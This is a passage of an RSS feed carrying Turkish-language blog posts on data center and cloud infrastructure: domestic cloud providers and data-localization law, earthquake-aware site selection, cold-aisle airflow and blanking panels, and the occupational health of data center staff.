<p>Yerli sağlayıcıların anlamakta en çok zorlandığı gerçek, modern yazılım dünyasında "Cloud" kavramının artık fiziksel sunuculardan ibaret olmadığıdır.</p>
<p>Bugün bir yazılım mimarı AWS veya GCP kullandığında; oradan sadece bir Ubuntu sanal makinesi (EC2) kiralamaz. O mimar;</p>
<ul>
<li>Tek tıkla ayağa kalkan, otomatik ölçeklenen, yedeklemesi ve failover'ı yönetilen veritabanları (Aurora, Cloud Spanner),</li>
<li>Sunucusuz çalışan ve sadece çağrıldığında fatura kesen hesaplama motorları (Lambda, Cloud Run),</li>
<li>Dağıtık kuyruk ve mesajlaşma servisleri (SQS, Kafka MSK, Pub/Sub),</li>
<li>Petabaytlarca veriyi milisaniyelerde tarayan veri ambarları (BigQuery, Redshift),</li>
<li>Ve yapay zeka modellerini doğrudan eğitebilecekleri hazır API altyapıları satın alır.</li>
</ul>
<p>Peki yerli veri merkezinin kapısını çalan bir fintek mimarının karşısına ne çıkar?</p>
<p>Eski bir VMware vCenter arayüzü!</p>
<p>Önünüze bir form konur: <em>"Kaç vCPU istersiniz? Kaç GB RAM olsun? Kaç GB SAS disk verelim?"</em></p>
<p>Hepsi bu kadar!</p>
<p>Veritabanı mı kuracaksınız? Kendiniz kurup yöneteceksiniz. Yedekleme mi lazım? Kendi bash script'inizi yazacaksınız. Kubernetes mi istiyorsunuz? Master node'ları manuel ayağa kaldırıp ağ ayarlarıyla gecenizi gündüzünüzü heba edeceksiniz.</p>
<p>Müşteriye sunulan tek şey, 2010 yılından kalma ilkel bir "hosting ve sanal sunucu satıcılığı"dır. Ve bu ilkellik, küresel standartların üç katı fiyatına, sırf "KVKK'ya uygundur" damgasıyla fatura edilmektedir.</p>
<h3>Mevzuat Bağımlılığı ve İnovasyonun İflası</h3>
<p>Bir sektörü ayakta tutan şey inovasyon, kalite ve müşteri memnuniyeti değil de <strong>sadece devlet regülasyonu</strong> ise; o sektör eninde sonunda çürümeye mahkumdur.</p>
<p>Bugün Amazon veya Microsoft, Türkiye sınırları içine kendi bağımsız "AWS Europe (Istanbul)" veya "Azure Turkey" veri merkezi bölgelerini (Region) açtığı gün ne olacaktır?</p>
<p>O gün, KVKK kalkanının arkasına saklanıp on yıldır tek bir satır yerli API geliştirmeyen, müşteriye kaba davranan ve teknik destek biletlerine 3 günde dönen yerli firmaların tamamı birkaç ay içinde müşteri tabanını kaybedecektir. Çünkü zorunluluk bittiği an, kalitesizlik affedilmez.</p>
<h3>Yerli Bulutun Geleceği: Sadece Disk Değil, Akıl Satmak</h3>
<p>Türkiye'nin kendi verisini kendi sınırları içinde tutma vizyonu son derece meşru, stratejik ve milli bir güvenlik meselesidir. Buna hiç kimse itiraz edemez.</p>
<p>Ancak bu vizyon; yerel sermayedarların müşteriyi sömüreceği bir tekel rantına dönüştürülemez.</p>
<p>Yerli bulut sağlayıcılarının kurtuluşu; VMware lisanslarının arkasına saklanıp disk boyutu satmaktan vazgeçmekle başlar.</p>
<ul>
<li>Kendi açık kaynak tabanlı (OpenStack, Ceph, Kubernetes) modern yönetim katmanlarını geliştirmek,</li>
<li>Gerçek "Serverless" ve "Managed Database" API'lerini yerli mühendislerle inşa etmek,</li>
<li>Ve müşteriye "mecbur olduğun için buradasın" kibriyle değil, "dünyanın en iyi mühendislik deneyimini sunduğumuz için buradasın" vizyonuyla yaklaşmak zorundadırlar.</li>
</ul>
<p>Mevzuat sizi bir yere kadar taşır; ama tarihte hiçbir teknoloji şirketi yasaların zoruyla kalıcı olamamıştır.</p>
<p>Kaliteyi inşa etmeyenler, eninde sonunda tarihin tozlu raflarında unutulmuş birer pahalı disk deposu olarak kalmaya mahkumdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>kvkk</category>
            <category>bddk</category>
            <category>veri-yerelligi</category>
            <category>yerli-cloud</category>
            <category>bulut-ekosistemi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/veri-yerellik-yasasi-kvkk--bddk-ve-yerli-cloudun-varolus-sinavi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Bursa/Kayseri/İstanbul Hattı": Veri Merkezi Lokasyon Seçiminin Sosyo-Ekonomisi]]></title>
            <link>http://localhost:3000/blog/post/bursakayseriistanbul-hatti-veri-merkezi-lokasyon-seciminin-sosyo-ekonomisi</link>
            <guid>bursakayseriistanbul-hatti-veri-merkezi-lokasyon-seciminin-sosyo-ekonomisi</guid>
            <pubDate>Fri, 12 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Marmara fay hattının gölgesindeki finansal cazibe, Anadolu'nun güvenli ama gecikmeli ovaları ve Türkiye'de sunucu toprağı seçmenin jeolojik ve sosyo-ekonomik kaderi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bursakayseriistanbul-hatti-veri-merkezi-lokasyon-seciminin-sosyo-ekonomisi/thumbnail" alt=""> Türkiye'de yüz milyonlarca liralık bir sermayeyle kurumsal bir veri merkezi (data center) inşa etmeye karar veren bir yatırım heyetinin masasına oturduğunuzda, tartışmanın ilk dakikalarda sunucu markalarından veya jeneratör kapasitelerinden çok daha kadim bir coğrafi çatışmaya kilitlendiğini görürsünüz:</p>
<p><strong>"Bu tesisi nereye kuracağız?"</strong></p>
<p>Bir taraf haritayı açar, parmağını İstanbul'un göbeğine koyar:<br>
<em>"Finansın kalbi burada, bankaların genel müdürlükleri burada, telekom operatörlerinin ana internet değişim noktaları (IXP) burada. İstanbul'da kurmazsak gecikme (latency) süresini 2 milisaniyenin altına indiremeyiz, müşteriyi ikna edemeyiz."</em></p>
<p>Masanın diğer tarafındaki jeoloji ve risk analisti derin bir iç çeker, parmağını Marmara Denizi'nin altından geçen o kırmızı çizginin üzerine vurur:<br>
<em>"İyi ama Kuzey Anadolu Fay Hattı kırıldığında, beklenen 7.5 büyüklüğündeki büyük Marmara depreminde o binaların, enerji nakil hatlarının ve fiber borularının ayakta kalacağını kim garanti edebilir? Milyarlarca liralık veriyi aktif bir fayın kucağına mı yatıracağız?"</em></p>
<p>Ve o an başlar o bitmek bilmeyen sosyo-ekonomik ve lojistik satranç:<br>
<strong>İstanbul'un finansal çekimi ile Anadolu'nun sarsıntısız ovaları arasındaki büyük gerilim.</strong></p>
<h3>Sahra Hastanesini Fay Hattına Kurmak mı, Ulaşımsız Vadiye mi?</h3>
<p>Bu stratejik açmazın acil tıp ve afet yönetimindeki analojisi hayati bir denge sınavıdır.</p>
<p>Büyük bir afet bölgesinde ana travma merkezini veya tam teşekküllü bir sahra hastanesini nereye konuşlandıracaksınız?</p>
<p>Eğer hastaneyi yıkımın ve enkazın tam ortasına, fay hattının sıfır noktasına kurarsanız; ilk büyük artçı sarsıntıda hastane binanız da çöker, hekimleriniz enkaz altında kalır ve yaralılara yardım edecek tek bir merci bulamazsınız.</p>
<p>Peki hastaneyi "aman depremden uzak olsun" diyerek şehirden 80 kilometre uzakta, dağların arkasında sarsıntısız bir yaylaya kurarsanız ne olur?</p>
<p>Bu kez de ambulanslar o mesafeyi kat edemez, yollar kapandığı için ağır iç kanaması olan yaralılar hastaneye ulaşamadan yolda hayatını kaybeder.</p>
<p>İdeal sahra hastanesi; <strong>afet bölgesine lojistik olarak hızla ulaşılabilecek kadar yakın, ama sarsıntının yıkıcı etkisinden korunacak kadar sağlam bir jeolojik zeminde</strong> olmak zorundadır.</p>
<p>Veri merkezinin konumu da tam olarak bu afet hastanesi dengesidir: Veri trafiğine milisaniyeler kadar yakın, ama coğrafi risklerden kıtalar kadar uzak olmak zorundasınızdır.</p>
<h3>Üç Şehir, Üç Kader: İstanbul, Bursa/Gebze, Kayseri/Ankara</h3>
<p>Türkiye'de veri merkezi haritasına baktığınızda üç ana hattın birbirleriyle yarıştığını görürsünüz:</p>
<ol>
<li><strong>İstanbul Cazibesi ve Varoluşsal Tehdit:</strong> Türkiye'nin toplam internet trafiğinin %70'inden fazlası İstanbul'da döner. Sunucunuzu Maslak, Ümraniye veya Yenibosna'da bir tesise koyduğunuzda; bankalara ve son kullanıcıya 1-3 ms gecikmeyle ulaşırsınız. Ancak yüksek arsa maliyetleri, aşırı pahalı sanayi elektriği, trafo kapasite yetersizlikleri ve hepsinin üzerinde sallanan o devasa deprem tehdidi İstanbul'u pimi çekilmiş bir el bombasına dönüştürür.</li>
<li><strong>Gebze - Bursa Sanayi Koridoru (Yarı Güvenli Geçiş):</strong> İstanbul'un hemen çıkışında, organize sanayi bölgelerinin (OSB) yüksek elektrik altyapısını ve ana fiber omurgalarını kullanan bir geçiş hattı. Arsa daha geniştir, enerjiye erişim daha kolaydır. Ancak Marmara fay hattı bu bölgenin de hemen altından geçmektedir; yani risk minimize edilmiş değil, sadece ötelenmiştir.</li>
<li><strong>Kayseri, Konya ve Ankara Platosu (Jeolojik Kale vs. Lojistik Bedel):</strong> Türkiye'nin deprem tehlike haritasında en risksiz, bembeyaz görünen o masif İç Anadolu ovaları. Zemin sağlamdır, deprem riski sıfıra yakındır, arsa ucuzdur. Ancak bu kez karşınıza başka duvarlar dikilir:
<ul>
<li><strong>Gecikme (Latency) Maliyeti:</strong> Kayseri'deki bir sunucudan İstanbul'daki bir kullanıcıya erişim 12-15 ms sürer. Yüksek frekanslı finansal işlemler (HFT) veya anlık e-ticaret için bu süre bazen kabul edilemez bulunur.</li>
<li><strong>Nitelikli Personel Eksikliği:</strong> Gece 03:00'te çöken bir BGP router'a veya soğutma kompresörüne müdahale edecek üst düzey uzman personeli Anadolu şehirlerinde istihdam etmek zordur.</li>
<li><strong>Fiber Altyapı Monopolü:</strong> Türk Telekom veya diğer operatörlerin Anadolu'daki transit fiber hatlarının yedekliliği İstanbul kadar zengin değildir; tek bir karayolu kazısında hatların kopma riski daha yüksektir.</li>
</ul>
</li>
</ol>
<h3>"Tek Bir Sepet" İntiharı</h3>
<p>Türkiye'deki pek çok holdingin ve kamu kurumunun yaptığı en büyük stratejik hata; hem ana sistemlerini (Production) hem de sözde felaket kurtarma merkezlerini (Disaster Recovery - DR) aynı coğrafi havzanın içine tıkıştırmaktır.</p>
<p>Ana sunucu Gayrettepe'de, yedek sunucu Kartal'dadır!</p>
<p>Marmara Denizi'nde 7.5 büyüklüğünde bir deprem olduğunda; iki bina arasındaki o 30 kilometrelik mesafenin hiçbir hükmü kalmayacaktır. Şehir şebekesi çöktüğünde, fiber boruları koptuğunda ve yollar yarıldığında iki tesis de aynı saniyede sessizliğe gömülecektir.</p>
<h3>Coğrafi Dağıtık Gelecek</h3>
<p>Gerçek kurumsal olgunluk; coğrafi kaderi inkar etmekle değil, onu mimarinin bir parçası kılmakla başlar:</p>
<ul>
<li><strong>Aktif-Aktif (Active-Active) Dağıtık Mimari:</strong> Verinizi tek bir binaya değil; İstanbul'un hızını Kayseri veya Ankara'nın jeolojik güvenliğiyle senkronize eden hibrit omurgalar üzerine kurun.</li>
<li>Kritik transactional verilerinizi sarsıntısız Anadolu kalelerinde güvene alın; önbellek (cache) ve kenar (edge) servislerinizi kullanıcıya yakın lokasyonlarda koşturun.</li>
</ul>
<p>Veri merkezi sadece betondan, demirden ve klimadan ibaret bir bina değildir.</p>
<p>Veri merkezi; yeraltındaki tektonik plakaların, dağların arasından geçen fiber optik cam liflerinin ve o coğrafyanın sosyo-ekonomik kaderinin kesiştiği stratejik bir kaledir. Ve o kaleyi nereye kurduğunuz, kriz günü geldiğinde ya tarihinizi kurtarır ya da tüm dijital varlığınızı toprağın altına gömer.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>veri-merkezi</category>
            <category>lokasyon-secimi</category>
            <category>deprem-riski</category>
            <category>fiber-altyapi</category>
            <category>turkiye-cografyasi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bursakayseriistanbul-hatti-veri-merkezi-lokasyon-seciminin-sosyo-ekonomisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Cold Aisle" (Soğuk Koridor) İllüzyonu: İklimlendirme Hesaplarının Sahadaki Yenilgisi]]></title>
            <link>http://localhost:3000/blog/post/cold-aisle-soguk-koridor-illuzyonu-iklimlendirme-hesaplarinin-sahadaki-yenilgisi</link>
            <guid>cold-aisle-soguk-koridor-illuzyonu-iklimlendirme-hesaplarinin-sahadaki-yenilgisi</guid>
            <pubDate>Thu, 11 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Milyon dolarlık CFD simülasyonları, pleksiglas koridorlar ve kabindeki boş 1U'luk yuvaya takılmayan 2 dolarlık plastik kapak yüzünden alev alan sunucuların termodinamik dramı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cold-aisle-soguk-koridor-illuzyonu-iklimlendirme-hesaplarinin-sahadaki-yenilgisi/thumbnail" alt=""> Bir veri merkezi inşa edilirken mekanik mühendislerinin hazırladığı iklimlendirme dosyalarına bakın; adeta bir uzay üssünün yaşam destek ünitesi tasarımını inceliyormuş hissine kapılırsınız.</p>
<p>Hesaplamalı Akışkanlar Dinamiği (CFD) yazılımlarıyla simülasyonlar yapılmıştır. Ekranda rengarenk hava akış çizgileri dans eder:<br>
Mavi renkli soğuk hava, yükseltilmiş tabanın (raised floor) altındaki menfezli karolardan pürüzsüzce yükselir; kabinlerin ön yüzündeki sunucuların fanları tarafından emilir; silikon çipleri soğutup arkadaki kırmızı renkli "Sıcak Koridora" (Hot Aisle) üflenir ve oradan tavan aspiratörleriyle Hassas Klimalara (CRAC) geri döner.</p>
<p>Her şey milimetrik hesaplanmıştır. Koridorların başlarına şık pleksiglas otomatik kapılar takılır, adına <strong>"Cold Aisle Containment" (Soğuk Koridor Kapatma)</strong> denir. İçeri girdiğinizde yüzünüze çarpan o 19 derecelik tatlı serinlik, mühendislik dehasının bir zaferi gibi görünür.</p>
<p>Ancak o tesise altı ay sonra, canlı sistemlerin tam yük altında çalıştığı sıcak bir yaz günü girdiğinizde; gözlerinizi ovuşturarak izleyeceğiniz bir termodinamik felaketle karşılaşırsınız.</p>
<p>Klimanın göstergesi 18 dereceyi göstermektedir; soğuk koridor kapalıdır; fakat 3 numaralı kabinin tam ortasındaki depolama sunucusunun (storage) fanları delicesine bağırmakta, sunucunun IPMI arayüzünde kırmızı alarmlar yanıp sönmektedir:</p>
<p><strong>"CPU Temp: 92°C - Thermal Throttling Activated!"</strong></p>
<p>Milyonlarca dolarlık iklimlendirme yatırımı yapılmış o odanın içinde; nasıl olur da tek bir sunucu kendi sıcaklığında kavrulup kapanma noktasına gelebilir?</p>
<p>Cevap, veri merkezi mühendisliğinin en acımasız dersinde gizlidir: <strong>O sunucunun hemen altındaki boş 1U'luk yuvaya takmayı unuttuğunuz (veya üşendiğiniz) 2 dolarlık plastik kapatma paneli (blanking panel).</strong></p>
<h3>Ameliyathanenin Pozitif Basıncını Bozan Açık Kapı</h3>
<p>Bu termodinamik fiyaskonun cerrahi ameliyathanelerdeki karşılığı doğrudan ölümcül bir enfeksiyon skandalıdır.</p>
<p>Modern hastanelerin ameliyathaneleri "pozitif hava basıncı" ve tavan tipi laminar akım sistemleriyle donatılmıştır. Ameliyathane odasının içindeki hava basıncı, dışarıdaki koridorun basıncından daima yüksek tutulur. Amaç şudur: Kapı açıldığında bile dışarıdaki mikroplu hava içeri giremesin; içerideki steril hava dışarı doğru üflensin ve hastanın açık batınına tek bir mikrop bile konmasın.</p>
<p>Şimdi bir ameliyathane görevlisinin veya cerrahın; <em>"Hava çok sıcak oldu, içerisi biraz ferahlasın"</em> diyerek ameliyathanenin kapısına bir takoz koyup aralık bıraktığını hayal edin.</p>
<p>O saniyede tüm fizik kanunları tersine döner. Pozitif basınç çöker; koridordaki tozlar, hastane bakterileri ve mantar sporları o aralıktan içeri hücum eder. Cerrah hastayı kusursuz dikmiş olabilir; ancak ameliyat edilen hasta üç gün sonra hastane enfeksiyonundan hayatını kaybeder.</p>
<p>Milyon liralık HEPA filtreleme sistemini çöp eden şey teknik bir arıza değil; o kapıyı aralık bırakan basit bir dikkatsizliktir.</p>
<p>Veri merkezindeki soğuk koridor da tam olarak bir ameliyathanedir.</p>
<h3>Termodinamik Kısa Devre (Recirculation)</h3>
<p>Fizikte hava, her zaman <strong>en az direnç gösteren yolu</strong> seçer.</p>
<p>Sunucunun içindeki minik fanlar havayı önden arkaya doğru iterken, sunucunun arkasında 45 ila 50 dereceye ulaşan bir sıcak hava basıncı oluşturur.</p>
<p>Eğer kabinde iki sunucu arasında boş bırakılmış 1U veya 2U'luk (yaklaşık 4.4 - 8.8 cm) bir delik varsa ve orası plastik bir kapakla kapatılmamışsa; doğanın en temel yasası devreye girer:</p>
<p>Arkada sıkışan o 50 derecelik sıcak hava, tavandaki klimaya doğru yükselmek yerine; o boş delikten bir hortum gibi öne, soğuk koridorun içine doğru geri emilir!</p>
<p>Buna termodinamikte <strong>"Hava Kısa Devresi" (Recirculation)</strong> denir.</p>
<p>Sonuç nedir?</p>
<ul>
<li>O 1U'luk deliğin hemen üstünde duran masum sunucu; altındaki soğuk havayı değil, arkadan öne fışkıran o 50 derecelik cehennem havasını doğrudan kendi işlemcisine emer.</li>
<li>Soğuk koridorun genel sıcaklığı 20 derece olsa bile; o kabinin tam önünde 42 derecelik izole bir <strong>"Sıcak Nokta" (Hotspot)</strong> oluşur.</li>
<li>Ve o sunucunun işlemcisi kendini yakmamak için frekansını yarıya düşürür (thermal throttling); veritabanı kilitlenir, müşterilerin siteleri donar.</li>
</ul>
<p>Tüm bu felaketin tek müsebbibi ise; <em>"Aman altı üstü bir parmak boşluk, ne olacak canım"</em> diyerek o plastik parçayı çöpe atan dikkatsiz saha teknisyenidir.</p>
<h3>2 Dolarlık Parçaya Karşı Milyonluk Klimalar</h3>
<p>Türkiye'deki veri merkezlerinde en sık rastlanan yönetimsel basiretsizliklerden biri; sıcaklık problemini klimanın gücünü artırarak çözmeye çalışmaktır.</p>
<p>Sunucu ısındığı için alarm çalar. Tesis müdürü koşar; klimaların ayarını 22 dereceden 16 dereceye indirir. Chiller kompresörleri delicesine çalışmaya başlar, elektrik faturası ikiye katlanır.</p>
<p>Fakat sunucu soğumaz!</p>
<p>Çünkü siz odayı kutup soğuğuna çevirseniz bile; o delikten arkadan öne dönen havanın sıcaklığı değişmez. Sorun odanın soğuk olmaması değil; soğuk havanın sunucunun ağzına ulaşamadan sıcak havayla zehirlenmesidir.</p>
<p>Odaya fazladan 50 kW klima gücü basmak yerine; nalburdan alacağınız 50 liralık kapatma panelini o deliğe taktığınız anda, sunucu sıcaklığının 10 dakika içinde 90 dereceden 55 dereceye düştüğünü görürsünüz.</p>
<p>Mühendislik bazen devasa makineler çalıştırmak değil; havanın yolunu doğru tıkamayı bilmektir.</p>
<h3>Disiplin Detaylarda Saklıdır</h3>
<p>Gerçek altyapı uzmanlığı, gösterişli sunumlarda değil; kabinin içindeki o minik detaylara gösterilen özende ortaya çıkar:</p>
<ul>
<li>Kabindeki her boş U yuvasına istisnasız <strong>Blanking Panel</strong> takın.</li>
<li>Kablo geçiş fırçalarını (cable brush) delikli bırakmayın; tabandan gelen havanın kaçmasına izin vermeyin.</li>
<li>Sunucu raylarını ve montaj kulakçıklarını hava kaçırmayacak contalarla sıkıştırın.</li>
</ul>
<p>Unutmayın; termodinamik kanunları rüşvet kabul etmez, unvan tanımaz ve ihmali affetmez.</p>
<p>Milyon dolarlık soğutma kulelerinizin kaderi; takmaya üşendiğiniz o küçük plastik parçanın ucunda sallanır. Ve o parçayı önemsemeyen bir mühendis, er ya da geç kendi yarattığı sıcak noktanın içinde yanmaya mahkumdur.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>veri-merkezi</category>
            <category>iklimlendirme</category>
            <category>soguk-koridor</category>
            <category>blanking-panel</category>
            <category>termodinamik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cold-aisle-soguk-koridor-illuzyonu-iklimlendirme-hesaplarinin-sahadaki-yenilgisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Buz Gibi Odalar, Kulak Tırmalayan Fanlar": Veri Merkezi Çalışanının İş Sağlığı ve Psikolojisi]]></title>
            <link>http://localhost:3000/blog/post/buz-gibi-odalar-kulak-tirmalayan-fanlar-veri-merkezi-calisaninin-is-sagligi-ve-psikolojisi</link>
            <guid>buz-gibi-odalar-kulak-tirmalayan-fanlar-veri-merkezi-calisaninin-is-sagligi-ve-psikolojisi</guid>
            <pubDate>Wed, 10 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[85 desibellik aralıksız fan gürültüsü, 18 derecelik yapay soğukluk, penceresiz floresan odalar ve dijital dünyanın görünmeyen muhafızlarının bedensel ve ruhsal maliyeti.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/buz-gibi-odalar-kulak-tirmalayan-fanlar-veri-merkezi-calisaninin-is-sagligi-ve-psikolojisi/thumbnail" alt=""> Dünyanın herhangi bir yerinde bir insan telefonuna dokunup bir video izlediğinde, banka uygulamasından para transferi yaptığında veya yapay zekaya bir soru sorduğunda; bu eylemi saf, temiz, pürüzsüz ve "bulut" gibi soyut bir deneyim olarak algılar.</p>
<p>Oysa o piksellerin ekranda akmasını sağlayan şey gökyüzündeki beyaz bulutlar değildir; yerin metrelerce altında veya sanayi sitelerinin kuytu köşelerinde kurulu, penceresiz, devasa çelik binalardır.</p>
<p>Ve o binaların içinde, kamuoyunun adını bile bilmediği, LinkedIn'de parlak unvanlarla alkışlanmayan bir grup insan nefes almaktadır: <strong>Veri Merkezi Saha Mühendisleri ve Teknisyenleri.</strong></p>
<p>Dışarıdan bakan birisi için onların işi "soğuk klimalı ofiste oturup sunuculara bakmak" gibi görünebilir.</p>
<p>Ancak o çelik kapıyı açıp sunucu odasına (white space) adımınızı attığınız anda; insan biyolojisinin sınırlarını zorlayan, bedeni ve ruhu sessizce kemiren ağır bir endüstriyel gerçeklik yüzünüze çarpar.</p>
<h3>85 Desibellik Kesintisiz Cehennem ve Tinnitus Kabusu</h3>
<p>Odaya girdiğinizde ilk dikkatinizi çeken şey sessizlik değil; kulaklarınızı patlatırcasına uğuldayan o devasa gürültü duvarıdır.</p>
<p>Bir sunucu kabininde tek bir 1U sunucunun içinde, çapı sadece 4 santimetre olan 6 ila 8 adet fan bulunur. Bu fanlar işlemciyi soğutabilmek için dakikada <strong>12.000 ila 16.000 devirle (RPM)</strong> döner.</p>
<p>Şimdi tek bir odada bu sunuculardan binlercesinin aynı anda çalıştığını, arkada devasa Hassas Klimaların (CRAC) kompresörlerinin ve hava basma fanlarının kükrediğini hayal edin.</p>
<p>Ortamdaki ses basıncı ortalama <strong>85 ila 95 desibel (dB)</strong> arasındadır!</p>
<p>90 desibel, bir dizel lokomotifin veya çalışan bir çim biçme makinesinin hemen yanında durmaya eşdeğer bir gürültü seviyesidir. Ve veri merkezi personeli, bu gürültünün içinde 8 saat, bazen 12 saatlik vardiyalar boyunca çalışmak zorundadır.</p>
<p>Yıllarca bu ortamda çalışan bir teknisyenin karşılaşacağı ilk bedensel fatura <strong>işitme kaybı ve kalıcı kulak çınlamasıdır (Tinnitus).</strong></p>
<p>Mühendis akşam evine gider, yatağa yatar; ancak kulaklarının içindeki o 10.000 devirlik sunucu fanının tiz çığlığı asla susmaz. Sessizlik, o insan için artık sonsuza kadar kaybedilmiş bir cennettir.</p>
<h3>Yoğun Bakımdaki "Alarm Yorgunluğu" ve Duyusal Aşırı Yüklenme</h3>
<p>Bu tükenmişliğin acil tıp ve yoğun bakım servislerindeki analojisi "Alarm Yorgunluğu" (Alarm Fatigue) sendromudur.</p>
<p>Bir yoğun bakım hemşiresinin veya nöbetçi asistanının ortamını gözünüzün önüne getirin.</p>
<p>Yatak başı monitörlerinin bip sesleri, mekanik ventilatörün nefes verme tıslamaları, infüzyon pompalarının hata alarmları, defibrilatörün kendi kendini test etme sinyalleri... Ortamda saniyede onlarca akustik ve görsel uyaran yanıp söner.</p>
<p>İlk birkaç aydan sonra sağlık çalışanının beyni bu aşırı uyarana karşı bir savunma mekanizması geliştirir: <strong>Duyusal hissizleşme.</strong></p>
<p>Personel alarmları duymamaya, sesleri algılamamaya başlar. Bu durum sadece personelin psikolojisini bozup kronik anksiyeteye sürüklemekle kalmaz; gerçek bir ölümcül ventriküler fibrilasyon alarmının o gürültü kaosunda gözden kaçmasına ve hastanın kaybedilmesine yol açar.</p>
<p>Veri merkezinde de aynı duyusal körelme yaşanır. Fanların o monoton ve delici gürültüsü; insanın odaklanma yeteneğini parçalar, bilişsel hızını yavaşlatır ve personeli kronik bir baş ağrısı ve asabiyet sarmalına hapseder.</p>
<h3>18 Derecelik Yapay Kutup Soğuğu ve Kas Spazmları</h3>
<p>Veri merkezlerinde hava sıcaklığı insan konforuna göre değil, silikon çiplerin termal sağlığına göre ayarlanır: Sabit 18 ila 20 derece.</p>
<p>Üstelik bu durağan bir soğukluk değildir; delikli karolardan saatte binlerce metreküp hızla üflenen <strong>yüksek hızlı bir hava akımıdır (draft).</strong></p>
<p>Temmuz ayında dışarıda hava 38 derece iken, teknisyen sırtında polarlar ve kışlık montlarla bu buz odasına girer. Günde onlarca kez 38 derece ile 18 derece arasında gidip gelen bir bedenin termoregülasyon sistemi felç olur.</p>
<ul>
<li>Kronik kas spazmları,</li>
<li>Boyun ve bel fıtıkları,</li>
<li>Yüz felci riskleri,</li>
<li>Ve henüz 30'lu yaşlarda başlayan kronik romatizmal ağrılar...</li>
</ul>
<p>Sunucular üşümesin diye dondurulan o odalar, aslında içinde çalışan insanların eklemlerini ve kaslarını sessizce çürütmektedir.</p>
<h3>Zamansızlık ve Penceresiz İzolasyon Odası</h3>
<p>Bir veri merkezinin mimarisinde fiziksel güvenlik ve termal yalıtım gereği <strong>asla pencere bulunmaz.</strong></p>
<p>İçeriye girdiğinizde dış dünya tamamen yok olur.</p>
<p>Güneş mi açtı, kar mı yağıyor, gece mi oldu gündüz mü; anlamanız imkansızdır. Başınızın üzerinde sadece soğuk beyaz LED veya floresan tüpleri parlar.</p>
<p>12 saatlik gece vardiyalarında çalışan bir mühendis; insan biyolojisinin en temel saati olan <strong>sirkadiyen ritmini</strong> tamamen kaybeder. Melatonin salgısı durur, uyku düzeni paramparça olur. Dış dünyadan, mevsimlerden ve zamandan koparılmış bu klostrofobik izolasyon; personelde derin bir tükenmişlik, yabancılaşma ve depresyon tablosu doğurur.</p>
<h3>Görünmeyen Emeğe Saygı: İSG Bir Lüks Değildir</h3>
<p>Türkiye'deki veri merkezi işletmecilerinin çoğu maalesef bu tabloyu bir "işin doğası" olarak görmekte ve personelin sağlığını görmezden gelmektedir.</p>
<p>Oysa alınacak tedbirler son derece basittir:</p>
<ol>
<li><strong>Zorunlu İşitme Koruması:</strong> Sunucu odasına kulaklıksız girmek yasaklanmalı; personele sadece basit sünger tıkaçlar değil, endüstriyel aktif gürültü engelleyici (ANC) kulak koruyucular zimmetlenmelidir.</li>
<li><strong>Vardiya ve Dinlenme Sınırları:</strong> Beyaz alanda kesintisiz kalma süresi maksimum 2 saatle sınırlandırılmalı; personelin dinlenme odaları gün ışığı alan, sessiz ve ergonomik alanlara taşınmalıdır.</li>
<li><strong>Fiziki Ergonomi:</strong> 80 kiloluk sunucuları iki büklüm kaldırmaya çalışan teknisyenler için sunucu kaldırma liftleri (server lift) standart hale getirilmelidir.</li>
</ol>
<p>Telefonumuzda her gün sorunsuz açılan o web sayfalarının arkasında; soğuktan parmakları uyuşmuş, kulakları çınlayan ve güneş ışığına hasret kalan gencecik insanların alın teri vardır.</p>
<p>Ve teknolojinin en büyük sınavı; sistemleri ayakta tutarken, o sistemleri omuzlarında taşıyan insanları tüketmemeyi başarabilmektir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>is-sagligi</category>
            <category>veri-merkezi</category>
            <category>gurultu-ve-isitme</category>
            <category>vardiya-psikolojisi</category>
            <category>saha-muhendisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/buz-gibi-odalar-kulak-tirmalayan-fanlar-veri-merkezi-calisaninin-is-sagligi-ve-psikolojisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["İkinci El Kurumsal Donanım" Riski: Sahibinden Alınan Sunucuyla Production Yönetmek]]></title>
            <link>http://localhost:3000/blog/post/ikinci-el-kurumsal-donanim-riski-sahibinden-alinan-sunucuyla-production-yonetmek</link>
            <guid>ikinci-el-kurumsal-donanim-riski-sahibinden-alinan-sunucuyla-production-yonetmek</guid>
            <pubDate>Tue, 09 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Döviz kuru baskısıyla hurdalıktan toplanan 7 yıllık sunucular, kurumuş kapasitörler ve canlı prod ortamını patlamaya hazır bir saatli bombaya emanet etme kumarı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ikinci-el-kurumsal-donanim-riski-sahibinden-alinan-sunucuyla-production-yonetmek/thumbnail" alt=""> Türkiye'deki bir KOBİ patronunun, yeni yetme bir hosting sağlayıcısının veya sermayesi kıt bir yerel girişimin satın alma toplantısına kulak verin:</p>
<p>Sistem mimarı tahtaya çıkar; projenin ihtiyaç duyduğu kurumsal sunucu konfigürasyonunu yazar: Çift AMD EPYC işlemci, 256 GB ECC RAM, NVMe kurumsal depolama dizisi ve yedekli güç kaynakları.</p>
<p>Yetkili distribütörden gelen resmi proforma faturaya bakılır: <strong>18.500 Dolar!</strong> (Yani güncel kurla 600 bin TL'nin üzerinde.)</p>
